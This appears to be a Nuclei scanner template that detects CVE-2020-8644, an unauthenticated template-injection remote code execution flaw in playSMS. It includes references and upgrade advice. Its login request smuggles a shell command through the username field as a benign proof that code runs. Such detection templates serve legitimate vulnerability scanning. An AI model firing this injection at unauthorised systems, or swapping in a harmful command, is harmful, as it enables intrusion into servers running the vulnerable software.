CVE-2020-8644: playSMS <1.4.3 - Remote Code Execution

id: CVE-2020-8644

info:
  name: playSMS <1.4.3 - Remote Code Execution
  author: dbrwsky
  severity: critical
  description: PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade playSMS to version 1.4.4 or later to mitigate this vulnerability.
  reference:
    - https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/
    - https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8644
    - http://packetstormsecurity.com/files/157106/PlaySMS-index.php-Unauthenticated-Template-Injection-Code-Execution.html
    - https://forum.playsms.org/t/playsms-1-4-3-has-been-released/2704
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8644
    cwe-id: CWE-94
    epss-score: 0.86689
    epss-percentile: 0.99731
    cpe: cpe:2.3:a:playsms:playsms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: playsms
    product: playsms
  tags: cve,cve2020,unauth,kev,packetstorm,ssti,playsms,rce,vkev,vuln

http:
  - raw:
      - |
        GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
      - |
        POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        X-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password=

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '4468-0202-EVC'

      - type: status
        status:
          - 200

    extractors:
      - type: xpath
        name: csrf
        internal: true
        xpath:
          - /html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input
        attribute: value
        part: body
# digest: 4b0a00483046022100a1065bf82f1a4eba7e4d5417ee16dd32aee4cdf663332cbea87fabbda9f1bef6022100a81efbb46b13537165f275e5e9784b98705b0d572a7d487c4eef08f1519aa1a9:922c64590222798bb761d5b6d8e72950

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